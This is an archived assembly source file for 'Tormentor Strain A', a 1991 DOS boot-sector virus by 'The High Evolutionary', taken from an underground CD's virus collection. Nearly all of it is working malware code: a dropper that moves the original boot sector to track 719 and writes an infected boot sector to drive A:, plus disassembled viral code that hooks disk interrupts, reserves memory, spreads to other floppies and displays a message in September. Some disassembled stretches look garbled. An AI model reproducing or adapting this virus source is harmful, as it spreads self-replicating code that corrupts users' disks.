home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / torment.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.9 KB  |  543 lines

  1. code_seg segment
  2.  
  3.      assume cs:code_seg,ds:code_seg
  4.  
  5.     
  6.  
  7.      org 100h
  8.  
  9.  
  10.  
  11. tormentor     proc    far
  12.  
  13.  
  14.  
  15. @disp    macro    string            
  16.  
  17.     mov    dx,offset string
  18.  
  19.     mov    ah,09h
  20.  
  21.     int    21h
  22.  
  23. endm
  24.  
  25.  
  26.  
  27. @exit    macro    
  28.  
  29.     mov    ax,4c00h
  30.  
  31.     int    21h
  32.  
  33. endm
  34.  
  35.  
  36.  
  37. @cls    macro    mode
  38.  
  39.     mov    ah,00h
  40.  
  41.     mov    al,mode
  42.  
  43.     int    10h
  44.  
  45. endm
  46.  
  47.  
  48.  
  49. start:    jmp    main
  50.  
  51.  
  52.  
  53. boot_area dw     256 dup (0)
  54.  
  55. boot_sec  dw    512 dup (0)
  56.  
  57.  
  58.  
  59. message    db    "Tormentor Strain A",13,10
  60.  
  61.     db    "Written by The High Evolutionary",13,10
  62.  
  63.     db    "Copyright (C) 1991 by The RABID Nat'nl Development Corp."
  64.  
  65.     db    13,10,13,10
  66.  
  67.     db    "Press any key to install onto media in drive A:",13,10
  68.  
  69.     db    "(Or press CTRL-C to abort)$",13,10
  70.  
  71.  
  72.  
  73. paused    db    13,10,13,10
  74.  
  75.     db    "[Paused] Insert destination disk if desired and press",13,10
  76.  
  77.     db    "any key, otherwise, press any key$",13,10
  78.  
  79.  
  80.  
  81. done    db    "Done!$",13,10
  82.  
  83.  
  84.  
  85. r_fail    db    13,10,13,10
  86.  
  87.     db    "Failed to READ in boot sector$",13,10
  88.  
  89.  
  90.  
  91. w_fail    db    13,10,13,10
  92.  
  93.     db    "Failed to WRITE boot sector$",13,10
  94.  
  95.  
  96.  
  97. f_infec    db    13,10,13,10
  98.  
  99.     db    "SHIT! We failed to write the virus code to the disk!!!$",13,10
  100.  
  101.  
  102.  
  103. r_boot    db    13,10,13,10
  104.  
  105.     db    "Now READING in the boot sector$",13,10
  106.  
  107.  
  108.  
  109. w_boot    db    13,10,13,10
  110.  
  111.     db    "Now WRITING the boot sector to track 719$",13,10
  112.  
  113.  
  114.  
  115. w_vir    db    13,10,13,10
  116.  
  117.     db    "Now WRITING the VIRUS to the boot sector$",13,10
  118.  
  119.  
  120.  
  121. succ    db    13,10,13,10
  122.  
  123.     db    "Success! We installed Tormentor onto the drive$",13,10
  124.  
  125.  
  126.  
  127. memerr    db    13,10,13,10
  128.  
  129.     db    "BOMB! We had a memory allocation error. Bailing out...$",13,10
  130.  
  131.     db    13,10
  132.  
  133.  
  134.  
  135. read_shit db    13,10,13,10
  136.  
  137.     db    "Reading in shit via INT 25...$",13,10
  138.  
  139.     db    13,10
  140.  
  141.  
  142.  
  143. intro    db    "You are in Torment$",13,10
  144.  
  145.  
  146.  
  147. bootseg    dw    ?            ; Storage segment address or mem. block
  148.  
  149.                     ; containing copy of boot record
  150.  
  151.  
  152.  
  153. dssave    dw    ?            ; Storage for DS register
  154.  
  155. ;dssave dw    seg    group        ; Storage for DS register
  156.  
  157.  
  158.  
  159. pspseg    dw    ?            ; PSP segment storage
  160.  
  161.  
  162.  
  163. ;stack    segment para stack 'STACK'    ; Code Segment
  164.  
  165. ;stack     ends
  166.  
  167.  
  168.  
  169. ;_data    segment    word public 'DATA'    ; Data Segment
  170.  
  171. ;_data    ends
  172.  
  173.  
  174.  
  175. ;dgroup    group    data,stack        ; Define segment group
  176.  
  177.  
  178.  
  179. ;*****************************************************************************
  180.  
  181. ; Boot record information to infect both floppies and hard-drives
  182.  
  183. ;*****************************************************************************
  184.  
  185.  
  186.  
  187. bootrecord    struc
  188.  
  189. bootjump    db    3 dup (?)    ; Initial 3 byte jmp instruction
  190.  
  191. oemstring    db    8 dup (?)    ; OEM version and DOS
  192.  
  193. sectorbytes    dw    ?        ; Bytes per sector
  194.  
  195. clustersec    db    ?        ; Sectors per cluster
  196.  
  197. reservedrec    dw    ?        ; Reserved sectors
  198.  
  199. fatcopies    db    ?        ; number of FAT copies
  200.  
  201. direntries    dw    ?        ; number of root dir entries
  202.  
  203. totalsectors    dw    ?        ; Total disk sectors
  204.  
  205. mediadescrip    db    ?        ; Media Descriptor
  206.  
  207. fatsectors    dw    ?        ; number of sectors occupied by 1 FAT
  208.  
  209. tracksectors    dw    ?        ; number of sectors per track
  210.  
  211. heads        dw    ?        ; number of heads
  212.  
  213. hiddensectors    dw    ?        ; number of hidden sectors
  214.  
  215. bootrecord    ends
  216.  
  217.  
  218.  
  219. drive    db    ?            ; Current drive pointer
  220.  
  221.  
  222.  
  223. memalloc    proc    near
  224.  
  225.  
  226.  
  227.     push    bp            ; Save base pointer
  228.  
  229.     push     bx            ; Save BX
  230.  
  231.     mov    bp,sp            ; init base pointer
  232.  
  233.     xor    al,al            ; Zero out AL    
  234.  
  235.     mov    ah,48h            ; Allocate mem. function
  236.  
  237.     int    21h
  238.  
  239.     jnc    end_memalloc        ; exit if no error
  240.  
  241.     mov    word ptr [bp],bx
  242.  
  243.  
  244.  
  245. end_memalloc:
  246.  
  247.     pop    bx            ; Restore BX
  248.  
  249.     pop    bp            ; Restore Base Pointer
  250.  
  251.     ret    
  252.  
  253.  
  254.  
  255. memalloc    endp
  256.  
  257.  
  258.  
  259. main:
  260.  
  261.  
  262.  
  263. get_default_drive:
  264.  
  265.     mov    ah,19h
  266.  
  267.     int    21h
  268.  
  269.     mov    byte ptr drive,al    ; Move current drive into drive
  270.  
  271.  
  272.  
  273.  
  274.  
  275. ;    mov    ds,dssave        ; Initialise DS
  276.  
  277. ;    mov    ax,es            ; get PSP address
  278.  
  279. ;    mov    word ptr pspseg,ax    ; and save it...
  280.  
  281.  
  282.  
  283.     jmp    read_boot
  284.  
  285.  
  286.  
  287. ;    mov    bx,40h            ; Allocate 1024 bytes
  288.  
  289. ;    call    memalloc        ; Allocate BX block of memory
  290.  
  291. ;    jnc    read_boot
  292.  
  293. ;    @disp    memerr
  294.  
  295. ;    jmp    quit    
  296.  
  297.  
  298.  
  299. read_boot:
  300.  
  301.     @disp    read_shit
  302.  
  303.     mov    ah,08h
  304.  
  305.     int    21h
  306.  
  307.     mov    word ptr bootseg,ax
  308.  
  309.     push    ax            ; Save AX onto the stack
  310.  
  311.     mov    al,0
  312.  
  313. ;    mov    al,byte ptr drive    ; Move current drive into AL
  314.  
  315.     xor     ah,ah            ; Zero out AH
  316.  
  317. ;    pop    ds            ; Restore Data_seg
  318.  
  319.     pushf                ; Save flags
  320.  
  321.     mov    dx,0            ; Read in sector 0
  322.  
  323.     mov    cx,1            ; Read in 1 sector
  324.  
  325.     mov    bx,offset boot_sec    ; Store data at DS:boot_sec
  326.  
  327.     int    25h            ; Read in the disk
  328.  
  329.     popf                ; clear flags used by flags
  330.  
  331.     @disp    done
  332.  
  333.     mov    ah,08h
  334.  
  335.     int    21h
  336.  
  337. ;    assume    ds:code_seg        ; Restore DS
  338.  
  339.     
  340.  
  341. begin:    @cls    03
  342.  
  343. ;    mov    ah,00            ; Set screen
  344.  
  345. ;    mov    al,03            ; Set screen for 80x25 color
  346.  
  347. ;    int    10h            ; Call BIOS
  348.  
  349.     @disp     message
  350.  
  351.  
  352.  
  353.     mov    ah,08h            ; Wait for a keypress
  354.  
  355.     int    21h
  356.  
  357.     mov    cx,3
  358.  
  359.  
  360.  
  361. read_sector:
  362.  
  363.     @disp    r_boot            ; Display that we are reading the
  364.  
  365.                     ; sector from the disk
  366.  
  367.     push    cx            ; Counter is pushed onto the stack
  368.  
  369.     mov    ax,201h            ; Read in 1 sector
  370.  
  371.     mov    bx,offset boot_area    ; Store it in boot_area
  372.  
  373.     mov    cx,1            ; Set counter to 1
  374.  
  375.     mov    dx,0            ; Set for drive 0, head 0
  376.  
  377.     int    13h            ; Call BIOS
  378.  
  379.     pop    cx            ; Restore counter
  380.  
  381.     jnc    good_read        ; If there were no errors, then
  382.  
  383.                     ; jump to good_read
  384.  
  385.     loop    read_sector        ; Jump back and try reading the sector
  386.  
  387.                     ; again while CX>0
  388.  
  389.     @disp     r_fail
  390.  
  391.     mov    ax,4c00h        ; Exit
  392.  
  393.     int    21h            ; Call DOS
  394.  
  395.  
  396.  
  397. good_read:
  398.  
  399.     mov    cx,3            ; Set counter to 3
  400.  
  401.     @disp    paused            ; Display message for pause
  402.  
  403.     mov    ah,08h            ; Wait for a key
  404.  
  405.     int    21h            ; Call DOS
  406.  
  407.  
  408.  
  409. ;*****************************************************************************
  410.  
  411. ; Write good sector to track 719 (Head 1, track 27, sector 9)
  412.  
  413. ;*****************************************************************************
  414.  
  415.  
  416.  
  417. write_sector:
  418.  
  419.     @disp    w_boot            ; Display that we are writing the 
  420.  
  421.                     ; sector to disk
  422.  
  423.     mov    ax,301h            ; Set for writing the boot sector
  424.  
  425.     mov    bx,offset boot_area    ; Set buffer to what we read in
  426.  
  427. ;    mov    bx,offset infected_data
  428.  
  429.     mov    cx,2709h        ; Set counter to 2709h
  430.  
  431.     mov    dx,100h            ; Head 1, drive 0    
  432.  
  433.     int    13h            ; Call BIOS
  434.  
  435.     pop    cx            ; Restore the counter
  436.  
  437.     jnc    good_write        ; If we wrote the sectors allright,
  438.  
  439.                     ; then jump to good_write
  440.  
  441.     loop    write_sector
  442.  
  443.     @disp    w_fail
  444.  
  445.     mov    ax,4c00h        ; Exit
  446.  
  447.     int    21h            ; Call DOS
  448.  
  449.  
  450.  
  451. good_write:
  452.  
  453.     mov    cx,3            ; Copy 3 into CX
  454.  
  455.     @disp    w_vir
  456.  
  457. infect_floppy:
  458.  
  459.     push    cx            ; Push it onto the stack
  460.  
  461.     mov    ax,301h            ; Write 1 sector
  462.  
  463.     mov    bx,offset infected_data ; Write corrupt boot sector to the
  464.  
  465.                     ; drive
  466.  
  467.     mov    cx,1            ; Set counter to 1
  468.  
  469.     mov    dx,0            ; Set for drive A:
  470.  
  471.     int    13h            ; Call BIOS
  472.  
  473.     jnc    good_infection        ; If there are no problems, then
  474.  
  475.                     ; continue
  476.  
  477.     loop    infect_floppy        ; Otherwise, try again until CX=0
  478.  
  479.     @disp    f_infec            ; If CX=0, then display the message
  480.  
  481.                     ; and then exit
  482.  
  483.     mov    ax,4c00h        ; Exit
  484.  
  485.     int    21h            ; Call DOS
  486.  
  487.  
  488.  
  489. good_infection:
  490.  
  491.     @disp    succ
  492.  
  493.     mov    ax,4c00h
  494.  
  495.     int    21h
  496.  
  497.  
  498.  
  499. ;*****************************************************************************
  500.  
  501. ; The following is a copy of the infected boot sector to copy to sector 0
  502.  
  503. ;*****************************************************************************
  504.  
  505.  
  506.  
  507. infected_data    db    0EBh, 34h
  508.  
  509.         nop
  510.  
  511.         dec    cx
  512.  
  513.         inc    dx
  514.  
  515.         dec    bp
  516.  
  517.         and    [bx+si],ah
  518.  
  519.         xor    bp,word ptr ds:[33h]
  520.  
  521.         add    al,[bp+si]
  522.  
  523.         add    [bx+si],ax
  524.  
  525.         add    dh,[bx+si+0]
  526.  
  527.         rol    byte ptr [bp+si],1    ; Rotate
  528.  
  529.         std                ; Set direction flag
  530.  
  531.         add    al,[bx+si]
  532.  
  533.         or    [bx+si],ax
  534.  
  535.         add    al,[bx+si]
  536.  
  537.         db    19 dup (0)
  538.  
  539. ;        db    'Tormentor Strain A - RABID Nat''nl Development Corp.'
  540.  
  541.         adc    al,[bx+si]
  542.  
  543.         add    [bx+si],al
  544.  
  545.         add    [bx+di],al
  546.  
  547.         add    dl,bh
  548.  
  549.         xor    ax,ax            ; Zero register
  550.  
  551.         mov    ds,ax
  552.  
  553.         mov    ss,ax
  554.  
  555.         mov    bx,7C00h        ; Pointer to boot segment
  556.  
  557.         mov    sp,bx
  558.  
  559.         push    ds
  560.  
  561. data_14        db    53h
  562.  
  563.         dec    word ptr ds:[413h]
  564.  
  565.         int    12h            ; Put (memory size)/1K in ax
  566.  
  567.         mov    cl,6
  568.  
  569.         shl    ax,cl            ; Shift w/zeros fill
  570.  
  571.         mov    es,ax
  572.  
  573.         xchg    ax,word ptr ds:[4Eh]
  574.  
  575.         mov    word ptr ds:[7DABh],ax
  576.  
  577.         mov    ax,128h
  578.  
  579.         xchg    ax,word ptr ds:[4Ch]
  580.  
  581.         mov    word ptr ds:[7DA9h],ax
  582.  
  583.         mov    ax,es
  584.  
  585.         xchg    ax,word ptr ds:[66h]
  586.  
  587.         mov    word ptr ds:[7DAFh],ax
  588.  
  589.         mov    ax,0BBh
  590.  
  591.         xchg    ax,word ptr ds:[64h]
  592.  
  593.         mov    word ptr ds:[7DADh],ax
  594.  
  595.         xor    di,di            ; Zero register
  596.  
  597.         mov    si,bx
  598.  
  599.         mov    cx,100h
  600.  
  601.         cld                ; Clear direction
  602.  
  603.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  604.  
  605.         sti                ; Enable interrupts
  606.  
  607.         push    es
  608.  
  609.         mov    ax,85h
  610.  
  611.         push    ax
  612.  
  613.         retf
  614.  
  615.         push    bx
  616.  
  617.         xor    dl,dl            ; Zero register
  618.  
  619.         call    sub_2            ; (00FB)
  620.  
  621.         pop    bx
  622.  
  623.         push    ds
  624.  
  625.         pop    es
  626.  
  627.         mov    ah,2
  628.  
  629.         mov    dh,1
  630.  
  631.         call    sub_6            ; (011F)
  632.  
  633.         jc    loc_2            ; Jump if carry Set
  634.  
  635.         push    cs
  636.  
  637.         pop    ds
  638.  
  639.         mov    si,offset ds:[0Bh]
  640.  
  641.         mov    di,offset ds:[7C0Bh]
  642.  
  643.         mov    cx,2Bh
  644.  
  645.         cld                ; Clear direction
  646.  
  647.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  648.  
  649.         jz    loc_ret_3        ; Jump if zero
  650.  
  651. loc_2:
  652.  
  653.         pop    bx
  654.  
  655.         pop    ax
  656.  
  657.         push    cs
  658.  
  659.         mov    ax,0AFh
  660.  
  661.         push    ax
  662.  
  663.   
  664.  
  665. loc_ret_3:
  666.  
  667.         retf                ; Return far
  668.  
  669. read_error:
  670.  
  671.         push    cs
  672.  
  673.         pop    ds
  674.  
  675.         mov    si,1DBh
  676.  
  677.         call    sub_1            ; (00DA)
  678.  
  679.         xor    ah,ah            ; Zero register
  680.  
  681.         int    16h            ; Keyboard i/o  ah=function 00h
  682.  
  683.                         ; get keybd char in al, ah=scan
  684.  
  685.         xor    ax,ax            ; Zero register
  686.  
  687.         int    13h            ; Disk  dl=drive a  ah=func 00h
  688.  
  689.                         ;  reset disk, al=return status
  690.  
  691.         push    cs
  692.  
  693.         pop    es
  694.  
  695.         mov    bx,offset ds:[200h]
  696.  
  697.         mov    cx,6
  698.  
  699.         xor    dx,dx            ; Zero register
  700.  
  701.         mov    ax,201h
  702.  
  703.         int    13h            ; Disk  dl=drive a  ah=func 02h
  704.  
  705.                         ;  read sectors to memory es:bx
  706.  
  707.         jc    read_error        ; Jump if carry Set
  708.  
  709.         mov    cx,0FF0h
  710.  
  711.         mov    ds,cx
  712.  
  713.         jmp    dword ptr cs:data_16
  714.  
  715.  
  716.  
  717. ;
  718.  
  719. ; Insert Tormentor     endp here...
  720.  
  721. ;
  722.  
  723. ;tormentor    endp
  724.  
  725.  
  726.  
  727.   
  728.  
  729. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  730.  
  731. ;                   SUBROUTINE
  732.  
  733. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  734.  
  735.   
  736.  
  737. sub_1        proc    near
  738.  
  739. loc_5:
  740.  
  741.         mov    bx,7
  742.  
  743.         cld                ; Clear direction
  744.  
  745.         lodsb                ; String [si] to al
  746.  
  747.         or    al,al            ; Zero ?
  748.  
  749.         jz    loc_ret_9        ; Jump if zero
  750.  
  751.         jns    loc_6            ; Jump if not sign
  752.  
  753.         xor    al,0D7h
  754.  
  755.         or    bl,88h
  756.  
  757. loc_6:
  758.  
  759.         cmp    al,20h            
  760.  
  761.         jbe    loc_7            ; Jump if below or =
  762.  
  763.         mov    cx,1
  764.  
  765.         mov    ah,9            ; 
  766.  
  767.         int    10h            ; Video display   ah=functn 09h
  768.  
  769.                         ; set char al & attrib bl @curs
  770.  
  771. loc_7:
  772.  
  773.         mov    ah,0Eh
  774.  
  775.         int    10h            ; Video display   ah=functn 0Eh
  776.  
  777.                         ;  write char al, teletype mode
  778.  
  779.         jmp    short loc_5        ; (00DA)
  780.  
  781.   
  782.  
  783. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  784.  
  785.   
  786.  
  787. sub_2:
  788.  
  789.         mov    bx,200h
  790.  
  791.         mov    cx,2
  792.  
  793.         mov    ah,cl
  794.  
  795.         call    sub_5            ; (011D)
  796.  
  797.         mov    cx,2709h
  798.  
  799.         xor    byte ptr es:[bx],0FDh
  800.  
  801.         jz    loc_8            ; Jump if zero
  802.  
  803.         mov    cx,4F0Fh
  804.  
  805. loc_8:
  806.  
  807.         jmp    short loc_ret_9        ; (0127)
  808.  
  809.         nop
  810.  
  811.   
  812.  
  813. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  814.  
  815.   
  816.  
  817. sub_3:
  818.  
  819.         mov    ah,2
  820.  
  821.         mov    bx,200h
  822.  
  823.   
  824.  
  825. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  826.  
  827.   
  828.  
  829. sub_4:
  830.  
  831.         mov    cx,1
  832.  
  833.   
  834.  
  835. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  836.  
  837.   
  838.  
  839. sub_5:
  840.  
  841.         mov    dh,0
  842.  
  843.   
  844.  
  845. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  846.  
  847.   
  848.  
  849. sub_6:
  850.  
  851.         mov    al,1
  852.  
  853.   
  854.  
  855. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  856.  
  857.   
  858.  
  859. sub_7:
  860.  
  861.         pushf                ; Push flags
  862.  
  863.         call    dword ptr cs:data_15
  864.  
  865.   
  866.  
  867. loc_ret_9:
  868.  
  869.         retn
  870.  
  871. sub_1        endp
  872.  
  873.   
  874.  
  875.         push    ax
  876.  
  877.         push    bx
  878.  
  879.         push    cx
  880.  
  881.         push    dx
  882.  
  883.         push    es
  884.  
  885.         push    ds
  886.  
  887.         push    si
  888.  
  889.         push    di
  890.  
  891.         pushf                ; Push flags
  892.  
  893.         push    cs
  894.  
  895.         pop    ds
  896.  
  897.         cmp    dl,1
  898.  
  899.         ja    loc_11            ; Jump if above
  900.  
  901.         and    ax,0FE00h
  902.  
  903.         jz    loc_11            ; Jump if zero
  904.  
  905.         xchg    al,ch
  906.  
  907.         shl    al,1            ; Shift w/zeros fill
  908.  
  909.         add    al,dh
  910.  
  911.         mov    ah,9
  912.  
  913.         mul    ah            ; ax = reg * al
  914.  
  915.         add    ax,cx
  916.  
  917.         sub    al,6
  918.  
  919.         cmp    ax,6
  920.  
  921.         ja    loc_11            ; Jump if above
  922.  
  923.         push    cs
  924.  
  925.         pop    es
  926.  
  927.         call    sub_3            ; (0115)
  928.  
  929.         jc    loc_10            ; Jump if carry Set
  930.  
  931.         mov    di,offset data_14
  932.  
  933.         mov    si,offset ds:[243h]
  934.  
  935.         mov    cx,0Eh
  936.  
  937.         std                ; Set direction flag
  938.  
  939.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to
  940.  
  941.                         ; es:[di]
  942.  
  943.         jz    loc_11            ; Jump if zero
  944.  
  945.         sub    si,cx
  946.  
  947.         sub    di,cx
  948.  
  949.         mov    cl,33h            ; '3'
  950.  
  951.         rep    movsb            ; Rep when cx >0 Mov [si] to
  952.  
  953.                         ; es:[di]
  954.  
  955.         call    sub_2            ; (00FB)
  956.  
  957.         push    cx
  958.  
  959.         push    bx
  960.  
  961.         call    sub_3            ; (0115)
  962.  
  963.         mov    ah,3
  964.  
  965.         xor    bx,bx            ; Zero register
  966.  
  967.         call    sub_4            ; (011A)
  968.  
  969.         pop    bx
  970.  
  971.         pop    cx
  972.  
  973.         jc    loc_10            ; Jump if carry Set
  974.  
  975.         mov    dh,1
  976.  
  977.         mov    ah,3
  978.  
  979.         call    sub_6            ; (011F)
  980.  
  981. loc_10:
  982.  
  983.         xor    ax,ax            ; Zero register
  984.  
  985.         call    sub_7            ; (0121)
  986.  
  987. loc_11:
  988.  
  989.         mov    ah,4
  990.  
  991.         int    1Ah            ; Real time clock   ah=func 04h
  992.  
  993.                         ; read date cx=year, dx=mon/day
  994.  
  995.         cmp    dh,9
  996.  
  997.         jne    not_month        ; Jump if not equal
  998.  
  999.         mov    si,1B1h
  1000.  
  1001.         call    sub_1            ; (00DA)
  1002.  
  1003. not_month:
  1004.  
  1005.         popf                ; Pop flags
  1006.  
  1007.         pop    di
  1008.  
  1009.         pop    si
  1010.  
  1011.         pop    ds
  1012.  
  1013.         pop    es
  1014.  
  1015.         pop    dx
  1016.  
  1017.         pop    cx
  1018.  
  1019.         pop    bx
  1020.  
  1021.         pop    ax
  1022.  
  1023.         jmp    dword ptr cs:data_15
  1024.  
  1025. data_15        dd    0C602EC59h
  1026.  
  1027. data_16        dd    0F000E6F2h
  1028.  
  1029.         esc    2,ch            ; coprocessor escape
  1030.  
  1031.         and    [bp+di-4141h],al
  1032.  
  1033.         movsb                ; Mov [si] to es:[di]
  1034.  
  1035.         idiv    word ptr [bp-85Ch]    ; ax,dxrem=dx:ax/data
  1036.  
  1037.         xchg    ax,si
  1038.  
  1039.         mov    si,offset ds:[0B4A5h]
  1040.  
  1041.         mov    ax,0DAA7h
  1042.  
  1043.         esc    5,[bx+si]        ; coprocessor escape
  1044.  
  1045.         db    'IO      SYSMSDOS   SYS', 0Dh, 0Ah
  1046.  
  1047.         db    'Non-system disk or disk error', 0Dh
  1048.  
  1049.         db    0Ah
  1050.  
  1051.         add    [bx+si],al
  1052.  
  1053.         push    bp
  1054.  
  1055. ;        jmp    cont
  1056.  
  1057.  
  1058.  
  1059. ;        db    'Tormentor Strain A - RABID Nat''nl Development Corp.'
  1060.  
  1061.         stosb
  1062.  
  1063. ;cont:        stosb                ; Store al to es:[di]
  1064.  
  1065.   
  1066.  
  1067. tormentor    endp
  1068.  
  1069.  
  1070.  
  1071. quit:    mov    ax,4c00h
  1072.  
  1073.     int    21h
  1074.  
  1075.  
  1076.  
  1077.     
  1078.  
  1079.     code_seg    ends
  1080.  
  1081. end     start
  1082.  
  1083.  
  1084.  
  1085.